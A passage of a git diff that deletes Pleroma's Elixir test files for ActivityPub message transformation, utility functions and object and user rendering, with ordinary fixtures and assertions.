"https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" - } - ] - } = user.banner - - refute "..." in activity.recipients - - unrelated_activity = Activity.get_by_id(unrelated_activity.id) - refute user.follower_address in unrelated_activity.recipients - - user_two = User.get_cached_by_id(user_two.id) - assert User.following?(user_two, user) - refute "..." in User.following(user_two) - end - end - - describe "actor rewriting" do - test "it fixes the actor URL property to be a proper URI" do - data = %{ - "url" => %{"href" => "http://example.com"} - } - - rewritten = Transmogrifier.maybe_fix_user_object(data) - assert rewritten["url"] == "http://example.com" - end - end - - describe "actor origin containment" do - test "it rejects activities which reference objects with bogus origins" do - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://mastodon.example.org/users/admin/activities/1234", - "actor" => "http://mastodon.example.org/users/admin", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => "https://info.pleroma.site/activity.json", - "type" => "Announce" - } - - assert capture_log(fn -> - {:error, _} = Transmogrifier.handle_incoming(data) - end) =~ "Object containment failed" - end - - test "it rejects activities which reference objects that have an incorrect attribution (variant 1)" do - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://mastodon.example.org/users/admin/activities/1234", - "actor" => "http://mastodon.example.org/users/admin", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => "https://info.pleroma.site/activity2.json", - "type" => "Announce" - } - - assert capture_log(fn -> - {:error, _} = Transmogrifier.handle_incoming(data) - end) =~ "Object containment failed" - end - - test "it rejects activities which reference objects that have an incorrect attribution (variant 2)" do - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://mastodon.example.org/users/admin/activities/1234", - "actor" => "http://mastodon.example.org/users/admin", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => "https://info.pleroma.site/activity3.json", - "type" => "Announce" - } - - assert capture_log(fn -> - {:error, _} = Transmogrifier.handle_incoming(data) - end) =~ "Object containment failed" - end - end - - describe "reserialization" do - test "successfully reserializes a message with inReplyTo == nil" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Create", - "object" => %{ - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Note", - "content" => "Hi", - "inReplyTo" => nil, - "attributedTo" => user.ap_id - }, - "actor" => user.ap_id - } - - {:ok, activity} = Transmogrifier.handle_incoming(message) - - {:ok, _} = Transmogrifier.prepare_outgoing(activity.data) - end - - test "successfully reserializes a message with AS2 objects in IR" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Create", - "object" => %{ - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Note", - "content" => "Hi", - "inReplyTo" => nil, - "attributedTo" => user.ap_id, - "tag" => [ - %{"name" => "#2hu", "href" => "http://example.com/2hu", "type" => "Hashtag"}, - %{"name" => "Bob", "href" => "http://example.com/bob", "type" => "Mention"} - ] - }, - "actor" => user.ap_id - } - - {:ok, activity} = Transmogrifier.handle_incoming(message) - - {:ok, _} = Transmogrifier.prepare_outgoing(activity.data) - end - end - - describe "fix_explicit_addressing" do - setup do - user = insert(:user) - [user: user] - end - - test "moves non-explicitly mentioned actors to cc", %{user: user} do - explicitly_mentioned_actors = [ - "https://pleroma.gold/users/user1", - "https://pleroma.gold/user2" - ] - - object = %{ - "actor" => user.ap_id, - "to" => explicitly_mentioned_actors ++ ["https://social.beepboop.ga/users/dirb"], - "cc" => [], - "tag" => - Enum.map(explicitly_mentioned_actors, fn href -> - %{"type" => "Mention", "href" => href} - end) - } - - fixed_object = Transmogrifier.fix_explicit_addressing(object) - assert Enum.all?(explicitly_mentioned_actors, &(&1 in fixed_object["to"])) - refute "https://social.beepboop.ga/users/dirb" in fixed_object["to"] - assert "https://social.beepboop.ga/users/dirb" in fixed_object["cc"] - end - - test "does not move actor's follower collection to cc", %{user: user} do - object = %{ - "actor" => user.ap_id, - "to" => [user.follower_address], - "cc" => [] - } - - fixed_object = Transmogrifier.fix_explicit_addressing(object) - assert user.follower_address in fixed_object["to"] - refute user.follower_address in fixed_object["cc"] - end - - test "removes recipient's follower collection from cc", %{user: user} do - recipient = insert(:user) - - object = %{ - "actor" => user.ap_id, - "to" => [recipient.ap_id, "https://www.w3.org/ns/activitystreams#Public"], - "cc" => [user.follower_address, recipient.follower_address] - } - - fixed_object = Transmogrifier.fix_explicit_addressing(object) - - assert user.follower_address in fixed_object["cc"] - refute recipient.follower_address in fixed_object["cc"] - refute recipient.follower_address in fixed_object["to"] - end - end - - describe "fix_summary/1" do - test "returns fixed object" do - assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""} - assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"} - assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""} - end - end - - describe "fix_in_reply_to/2" do - setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) - - setup do - data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) - [data: data] - end - - test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do - assert Transmogrifier.fix_in_reply_to(data) == data - end - - test "returns object with inReplyTo when denied incoming reply", %{data: data} do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - object_with_reply = - Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873") - - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873" - - object_with_reply = - Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"}) - - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"} - - object_with_reply = - Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"]) - - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"] - - object_with_reply = Map.put(data["object"], "inReplyTo", []) - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - assert modified_object["inReplyTo"] == [] - end - - @tag capture_log: true - test "returns modified object when allowed incoming reply", %{data: data} do - object_with_reply = - Map.put( - data["object"], - "inReplyTo", - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - ) - - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5) - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - - assert modified_object["inReplyTo"] == - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - - assert modified_object["context"] == - "tag:shitposter.club,2018-02-22:objectType=thread:nonce=e5a7c72d60a9c0e4" - end - end - - describe "fix_url/1" do - test "fixes data for object when url is map" do - object = %{ - "url" => %{ - "type" => "Link", - "mimeType" => "video/mp4", - "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" - } - } - - assert Transmogrifier.fix_url(object) == %{ - "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" - } - end - - test "returns non-modified object" do - assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"} - end - end - - describe "get_obj_helper/2" do - test "returns nil when cannot normalize object" do - assert capture_log(fn -> - refute Transmogrifier.get_obj_helper("test-obj-id") - end) =~ "Unsupported URI scheme" - end - - @tag capture_log: true - test "returns {:ok, %Object{}} for success case" do - assert {:ok, %Object{}} = - Transmogrifier.get_obj_helper( - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - ) - end - end - - describe "fix_attachments/1" do - test "returns not modified object" do - data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) - assert Transmogrifier.fix_attachments(data) == data - end - - test "returns modified object when attachment is map" do - assert Transmogrifier.fix_attachments(%{ - "attachment" => %{ - "mediaType" => "video/mp4", - "url" => "https://peertube.moe/stat-480.mp4" - } - }) == %{ - "attachment" => [ - %{ - "mediaType" => "video/mp4", - "type" => "Document", - "url" => [ - %{ - "href" => "https://peertube.moe/stat-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - } - end - - test "returns modified object when attachment is list" do - assert Transmogrifier.fix_attachments(%{ - "attachment" => [ - %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"}, - %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"} - ] - }) == %{ - "attachment" => [ - %{ - "mediaType" => "video/mp4", - "type" => "Document", - "url" => [ - %{ - "href" => "https://pe.er/stat-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - }, - %{ - "mediaType" => "video/mp4", - "type" => "Document", - "url" => [ - %{ - "href" => "https://pe.er/stat-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - } - end - end - - describe "fix_emoji/1" do - test "returns not modified object when object not contains tags" do - data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) - assert Transmogrifier.fix_emoji(data) == data - end - - test "returns object with emoji when object contains list tags" do - assert Transmogrifier.fix_emoji(%{ - "tag" => [ - %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}, - %{"type" => "Hashtag"} - ] - }) == %{ - "emoji" => %{"bib" => "/test"}, - "tag" => [ - %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}, - %{"type" => "Hashtag"} - ] - } - end - - test "returns object with emoji when object contains map tag" do - assert Transmogrifier.fix_emoji(%{ - "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}} - }) == %{ - "emoji" => %{"bib" => "/test"}, - "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"} - } - end - end - - describe "set_replies/1" do - setup do: clear_config([:activitypub, :note_replies_output_limit], 2) - - test "returns unmodified object if activity doesn't have self-replies" do - data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) - assert Transmogrifier.set_replies(data) == data - end - - test "sets `replies` collection with a limited number of self-replies" do - [user, another_user] = insert_list(2, :user) - - {:ok, %{id: id1} = activity} = CommonAPI.post(user, %{status: "1"}) - - {:ok, %{id: id2} = self_reply1} = - CommonAPI.post(user, %{status: "self-reply 1", in_reply_to_status_id: id1}) - - {:ok, self_reply2} = - CommonAPI.post(user, %{status: "self-reply 2", in_reply_to_status_id: id1}) - - # Assuming to _not_ be present in `replies` due to :note_replies_output_limit is set to 2 - {:ok, _} = CommonAPI.post(user, %{status: "self-reply 3", in_reply_to_status_id: id1}) - - {:ok, _} = - CommonAPI.post(user, %{ - status: "self-reply to self-reply", - in_reply_to_status_id: id2 - }) - - {:ok, _} = - CommonAPI.post(another_user, %{ - status: "another user's reply", - in_reply_to_status_id: id1 - }) - - object = Object.normalize(activity) - replies_uris = Enum.map([self_reply1, self_reply2], fn a -> a.object.data["id"] end) - - assert %{"type" => "Collection", "items" => ^replies_uris} = - Transmogrifier.set_replies(object.data)["replies"] - end - end - - test "take_emoji_tags/1" do - user = insert(:user, %{emoji: %{"firefox" => "https://example.org/firefox.png"}}) - - assert Transmogrifier.take_emoji_tags(user) == [ - %{ - "icon" => %{"type" => "Image", "url" => "https://example.org/firefox.png"}, - "id" => "https://example.org/firefox.png", - "name" => ":firefox:", - "type" => "Emoji", - "updated" => "1970-01-01T00:00:00Z" - } - ] - end -end diff --git a/test/web/activity_pub/utils_test.exs b/test/web/activity_pub/utils_test.exs deleted file mode 100644 index d50213545..000000000 --- a/test/web/activity_pub/utils_test.exs +++ /dev/null @@ -1,548 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.UtilsTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.AdminAPI.AccountView - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - require Pleroma.Constants - - describe "fetch the latest Follow" do - test "fetches the latest Follow activity" do - %Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity) - follower = User.get_cached_by_ap_id(activity.data["actor"]) - followed = User.get_cached_by_ap_id(activity.data["object"]) - - assert activity == Utils.fetch_latest_follow(follower, followed) - end - end - - describe "determine_explicit_mentions()" do - test "works with an object that has mentions" do - object = %{ - "tag" => [ - %{ - "type" => "Mention", - "href" => "https://example.com/~alyssa", - "name" => "Alyssa P. Hacker" - } - ] - } - - assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] - end - - test "works with an object that does not have mentions" do - object = %{ - "tag" => [ - %{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"} - ] - } - - assert Utils.determine_explicit_mentions(object) == [] - end - - test "works with an object that has mentions and other tags" do - object = %{ - "tag" => [ - %{ - "type" => "Mention", - "href" => "https://example.com/~alyssa", - "name" => "Alyssa P. Hacker" - }, - %{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"} - ] - } - - assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] - end - - test "works with an object that has no tags" do - object = %{} - - assert Utils.determine_explicit_mentions(object) == [] - end - - test "works with an object that has only IR tags" do - object = %{"tag" => ["2hu"]} - - assert Utils.determine_explicit_mentions(object) == [] - end - - test "works with an object has tags as map" do - object = %{ - "tag" => %{ - "type" => "Mention", - "href" => "https://example.com/~alyssa", - "name" => "Alyssa P. Hacker" - } - } - - assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] - end - end - - describe "make_like_data" do - setup do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - [user: user, other_user: other_user, third_user: third_user] - end - - test "addresses actor's follower address if the activity is public", %{ - user: user, - other_user: other_user, - third_user: third_user - } do - expected_to = Enum.sort([user.ap_id, other_user.follower_address]) - expected_cc = Enum.sort(["https://www.w3.org/ns/activitystreams#Public", third_user.ap_id]) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "hey @#{other_user.nickname}, @#{third_user.nickname} how about beering together this weekend?" - }) - - %{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil) - assert Enum.sort(to) == expected_to - assert Enum.sort(cc) == expected_cc - end - - test "does not adress actor's follower address if the activity is not public", %{ - user: user, - other_user: other_user, - third_user: third_user - } do - expected_to = Enum.sort([user.ap_id]) - expected_cc = [third_user.ap_id] - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "@#{other_user.nickname} @#{third_user.nickname} bought a new swimsuit!", - visibility: "private" - }) - - %{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil) - assert Enum.sort(to) == expected_to - assert Enum.sort(cc) == expected_cc - end - end - - test "make_json_ld_header/0" do - assert Utils.make_json_ld_header() == %{ - "@context" => [ - "https://www.w3.org/ns/activitystreams", - "http://localhost:4001/schemas/litepub-0.1.jsonld", - %{ - "@language" => "und" - } - ] - } - end - - describe "get_existing_votes" do - test "fetches existing votes" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "How do I pronounce LaTeX?", - poll: %{ - options: ["laytekh", "lahtekh", "latex"], - expires_in: 20, - multiple: true - } - }) - - object = Object.normalize(activity) - {:ok, votes, object} = CommonAPI.vote(other_user, object, [0, 1]) - assert Enum.sort(Utils.get_existing_votes(other_user.ap_id, object)) == Enum.sort(votes) - end - - test "fetches only Create activities" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Are we living in a society?", - poll: %{ - options: ["yes", "no"], - expires_in: 20 - } - }) - - object = Object.normalize(activity) - {:ok, [vote], object} = CommonAPI.vote(other_user, object, [0]) - {:ok, _activity} = CommonAPI.favorite(user, activity.id) - [fetched_vote] = Utils.get_existing_votes(other_user.ap_id, object) - assert fetched_vote.id == vote.id - end - end - - describe "update_follow_state_for_all/2" do - test "updates the state of all Follow activities with the same actor and object" do - user = insert(:user, locked: true) - follower = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) - - data = - follow_activity_two.data - |> Map.put("state", "accept") - - cng = Ecto.Changeset.change(follow_activity_two, data: data) - - {:ok, follow_activity_two} = Repo.update(cng) - - {:ok, follow_activity_two} = - Utils.update_follow_state_for_all(follow_activity_two, "accept") - - assert refresh_record(follow_activity).data["state"] == "accept" - assert refresh_record(follow_activity_two).data["state"] == "accept" - end - end - - describe "update_follow_state/2" do - test "updates the state of the given follow activity" do - user = insert(:user, locked: true) - follower = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) - - data = - follow_activity_two.data - |> Map.put("state", "accept") - - cng = Ecto.Changeset.change(follow_activity_two, data: data) - - {:ok, follow_activity_two} = Repo.update(cng) - - {:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject") - - assert refresh_record(follow_activity).data["state"] == "pending" - assert refresh_record(follow_activity_two).data["state"] == "reject" - end - end - - describe "update_element_in_object/3" do - test "updates likes" do - user = insert(:user) - activity = insert(:note_activity) - object = Object.normalize(activity) - - assert {:ok, updated_object} = - Utils.update_element_in_object( - "like", - [user.ap_id], - object - ) - - assert updated_object.data["likes"] == [user.ap_id] - assert updated_object.data["like_count"] == 1 - end - end - - describe "add_like_to_object/2" do - test "add actor to likes" do - user = insert(:user) - user2 = insert(:user) - object = insert(:note) - - assert {:ok, updated_object} = - Utils.add_like_to_object( - %Activity{data: %{"actor" => user.ap_id}}, - object - ) - - assert updated_object.data["likes"] == [user.ap_id] - assert updated_object.data["like_count"] == 1 - - assert {:ok, updated_object2} = - Utils.add_like_to_object( - %Activity{data: %{"actor" => user2.ap_id}}, - updated_object - ) - - assert updated_object2.data["likes"] == [user2.ap_id, user.ap_id] - assert updated_object2.data["like_count"] == 2 - end - end - - describe "remove_like_from_object/2" do - test "removes ap_id from likes" do - user = insert(:user) - user2 = insert(:user) - object = insert(:note, data: %{"likes" => [user.ap_id, user2.ap_id], "like_count" => 2}) - - assert {:ok, updated_object} = - Utils.remove_like_from_object( - %Activity{data: %{"actor" => user.ap_id}}, - object - ) - - assert updated_object.data["likes"] == [user2.ap_id] - assert updated_object.data["like_count"] == 1 - end - end - - describe "get_existing_like/2" do - test "fetches existing like" do - note_activity = insert(:note_activity) - assert object = Object.normalize(note_activity) - - user = insert(:user) - refute Utils.get_existing_like(user.ap_id, object) - {:ok, like_activity} = CommonAPI.favorite(user, note_activity.id) - - assert ^like_activity = Utils.get_existing_like(user.ap_id, object) - end - end - - describe "get_get_existing_announce/2" do - test "returns nil if announce not found" do - actor = insert(:user) - refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}}) - end - - test "fetches existing announce" do - note_activity = insert(:note_activity) - assert object = Object.normalize(note_activity) - actor = insert(:user) - - {:ok, announce} = CommonAPI.repeat(note_activity.id, actor) - assert Utils.get_existing_announce(actor.ap_id, object) == announce - end - end - - describe "fetch_latest_block/2" do - test "fetches last block activities" do - user1 = insert(:user) - user2 = insert(:user) - - assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2) - assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2) - assert {:ok, %Activity{} = activity} = CommonAPI.block(user1, user2) - - assert Utils.fetch_latest_block(user1, user2) == activity - end - end - - describe "recipient_in_message/3" do - test "returns true when recipient in `to`" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"to" => [recipient.ap_id], "cc" => ""} - ) - end - - test "returns true when recipient in `cc`" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"cc" => [recipient.ap_id], "to" => ""} - ) - end - - test "returns true when recipient in `bto`" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"bcc" => "", "bto" => [recipient.ap_id]} - ) - end - - test "returns true when recipient in `bcc`" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"bto" => "", "bcc" => [recipient.ap_id]} - ) - end - - test "returns true when message without addresses fields" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"btod" => "", "bccc" => [recipient.ap_id]} - ) - end - - test "returns false" do - recipient = insert(:user) - actor = insert(:user) - refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"}) - end - end - - describe "lazy_put_activity_defaults/2" do - test "returns map with id and published data" do - note_activity = insert(:note_activity) - object = Object.normalize(note_activity) - res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]}) - assert res["context"] == object.data["id"] - assert res["context_id"] == object.id - assert res["id"] - assert res["published"] - end - - test "returns map with fake id and published data" do - assert %{ - "context" => "pleroma:fakecontext", - "context_id" => -1, - "id" => "pleroma:fakeid", - "published" => _ - } = Utils.lazy_put_activity_defaults(%{}, true) - end - - test "returns activity data with object" do - note_activity = insert(:note_activity) - object = Object.normalize(note_activity) - - res = - Utils.lazy_put_activity_defaults(%{ - "context" => object.data["id"], - "object" => %{} - }) - - assert res["context"] == object.data["id"] - assert res["context_id"] == object.id - assert res["id"] - assert res["published"] - assert res["object"]["id"] - assert res["object"]["published"] - assert res["object"]["context"] == object.data["id"] - assert res["object"]["context_id"] == object.id - end - end - - describe "make_flag_data" do - test "returns empty map when params is invalid" do - assert Utils.make_flag_data(%{}, %{}) == %{} - end - - test "returns map with Flag object" do - reporter = insert(:user) - target_account = insert(:user) - {:ok, activity} = CommonAPI.post(target_account, %{status: "foobar"}) - context = Utils.generate_context_id() - content = "foobar" - - target_ap_id = target_account.ap_id - activity_ap_id = activity.data["id"] - - res = - Utils.make_flag_data( - %{ - actor: reporter, - context: context, - account: target_account, - statuses: [%{"id" => activity.data["id"]}], - content: content - }, - %{} - ) - - note_obj = %{ - "type" => "Note", - "id" => activity_ap_id, - "content" => content, - "published" => activity.object.data["published"], - "actor" => - AccountView.render("show.json", %{user: target_account, skip_visibility_check: true}) - } - - assert %{ - "type" => "Flag", - "content" => ^content, - "context" => ^context, - "object" => [^target_ap_id, ^note_obj], - "state" => "open" - } = res - end - end - - describe "add_announce_to_object/2" do - test "adds actor to announcement" do - user = insert(:user) - object = insert(:note) - - activity = - insert(:note_activity, - data: %{ - "actor" => user.ap_id, - "cc" => [Pleroma.Constants.as_public()] - } - ) - - assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object) - assert updated_object.data["announcements"] == [user.ap_id] - assert updated_object.data["announcement_count"] == 1 - end - end - - describe "remove_announce_from_object/2" do - test "removes actor from announcements" do - user = insert(:user) - user2 = insert(:user) - - object = - insert(:note, - data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2} - ) - - activity = insert(:note_activity, data: %{"actor" => user.ap_id}) - - assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object) - assert updated_object.data["announcements"] == [user2.ap_id] - assert updated_object.data["announcement_count"] == 1 - end - end - - describe "get_cached_emoji_reactions/1" do - test "returns the data or an emtpy list" do - object = insert(:note) - assert Utils.get_cached_emoji_reactions(object) == [] - - object = insert(:note, data: %{"reactions" => [["x", ["lain"]]]}) - assert Utils.get_cached_emoji_reactions(object) == [["x", ["lain"]]] - - object = insert(:note, data: %{"reactions" => %{}}) - assert Utils.get_cached_emoji_reactions(object) == [] - end - end -end diff --git a/test/web/activity_pub/views/object_view_test.exs b/test/web/activity_pub/views/object_view_test.exs deleted file mode 100644 index f0389845d..000000000 --- a/test/web/activity_pub/views/object_view_test.exs +++ /dev/null @@ -1,84 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectViewTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.ObjectView - alias Pleroma.Web.CommonAPI - - test "renders a note object" do - note = insert(:note) - - result = ObjectView.render("object.json", %{object: note}) - - assert result["id"] == note.data["id"] - assert result["to"] == note.data["to"] - assert result["content"] == note.data["content"] - assert result["type"] == "Note" - assert result["@context"] - end - - test "renders a note activity" do - note = insert(:note_activity) - object = Object.normalize(note) - - result = ObjectView.render("object.json", %{object: note}) - - assert result["id"] == note.data["id"] - assert result["to"] == note.data["to"] - assert result["object"]["type"] == "Note" - assert result["object"]["content"] == object.data["content"] - assert result["type"] == "Create" - assert result["@context"] - end - - describe "note activity's `replies` collection rendering" do - setup do: clear_config([:activitypub, :note_replies_output_limit], 5) - - test "renders `replies` collection for a note activity" do - user = insert(:user) - activity = insert(:note_activity, user: user) - - {:ok, self_reply1} = - CommonAPI.post(user, %{status: "self-reply 1", in_reply_to_status_id: activity.id}) - - replies_uris = [self_reply1.object.data["id"]] - result = ObjectView.render("object.json", %{object: refresh_record(activity)}) - - assert %{"type" => "Collection", "items" => ^replies_uris} = - get_in(result, ["object", "replies"]) - end - end - - test "renders a like activity" do - note = insert(:note_activity) - object = Object.normalize(note) - user = insert(:user) - - {:ok, like_activity} = CommonAPI.favorite(user, note.id) - - result = ObjectView.render("object.json", %{object: like_activity}) - - assert result["id"] == like_activity.data["id"] - assert result["object"] == object.data["id"] - assert result["type"] == "Like" - end - - test "renders an announce activity" do - note = insert(:note_activity) - object = Object.normalize(note) - user = insert(:user) - - {:ok, announce_activity} = CommonAPI.repeat(note.id, user) - - result = ObjectView.render("object.json", %{object: announce_activity}) - - assert result["id"] == announce_activity.data["id"] - assert result["object"] == object.data["id"] - assert result["type"] == "Announce" - end -end diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs deleted file mode 100644 index 98c7c9d09..000000000 --- a/test/web/activity_pub/views/user_view_test.exs +++ /dev/null @@ -1,180 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.UserViewTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.User - alias Pleroma.Web.ActivityPub.UserView - alias Pleroma.Web.CommonAPI - - test "Renders a user, including the public key" do - user = insert(:user) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - - assert result["id"] == user.ap_id - assert result["preferredUsername"] == user.nickname - - assert String.contains?(result["publicKey"]["publicKeyPem"], "BEGIN PUBLIC KEY") - end - - test "Renders profile fields" do - fields = [ - %{"name" => "foo", "value" => "bar"} - ] - - {:ok, user} = - insert(:user) - |> User.update_changeset(%{fields: fields}) - |> User.update_and_set_cache() - - assert %{ - "attachment" => [%{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}] - } = UserView.render("user.json", %{user: user}) - end - - test "Renders with emoji tags" do - user = insert(:user, emoji: %{"bib" => "/test"}) - - assert %{ - "tag" => [ - %{ - "icon" => %{"type" => "Image", "url" => "/test"}, - "id" => "/test", - "name" => ":bib:", - "type" => "Emoji", - "updated" => "1970-01-01T00:00:00Z" - } - ] - } = UserView.render("user.json", %{user: user}) - end - - test "Does not add an avatar image if the user hasn't set one" do - user = insert(:user) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - refute result["icon"] - refute result["image"] - - user = - insert(:user, - avatar: %{"url" => [%{"href" => "https://someurl"}]}, - banner: %{"url" => [%{"href" => "https://somebanner"}]} - ) - - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - assert result["icon"]["url"] == "https://someurl" - assert result["image"]["url"] == "https://somebanner" - end - - test "renders an invisible user with the invisible property set to true" do - user = insert(:user, invisible: true) - - assert %{"invisible" => true} = UserView.render("service.json", %{user: user}) - end - - describe "endpoints" do - test "local users have a usable endpoints structure" do - user = insert(:user) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - - assert result["id"] == user.ap_id - - %{ - "sharedInbox" => _, - "oauthAuthorizationEndpoint" => _, - "oauthRegistrationEndpoint" => _, - "oauthTokenEndpoint" => _ - } = result["endpoints"] - end - - test "remote users have an empty endpoints structure" do - user = insert(:user, local: false) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - - assert result["id"] == user.ap_id - assert result["endpoints"] == %{} - end - - test "instance users do not expose oAuth endpoints" do - user = insert(:user, nickname: nil, local: true) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - - refute result["endpoints"]["oauthAuthorizationEndpoint"] - refute result["endpoints"]["oauthRegistrationEndpoint"] - refute result["endpoints"]["oauthTokenEndpoint"] - end - end - - describe "followers" do - test "sets totalItems to zero when followers are hidden" do - user = insert(:user) - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) - user = Map.merge(user, %{hide_followers_count: true, hide_followers: true}) - refute UserView.render("followers.json", %{user: 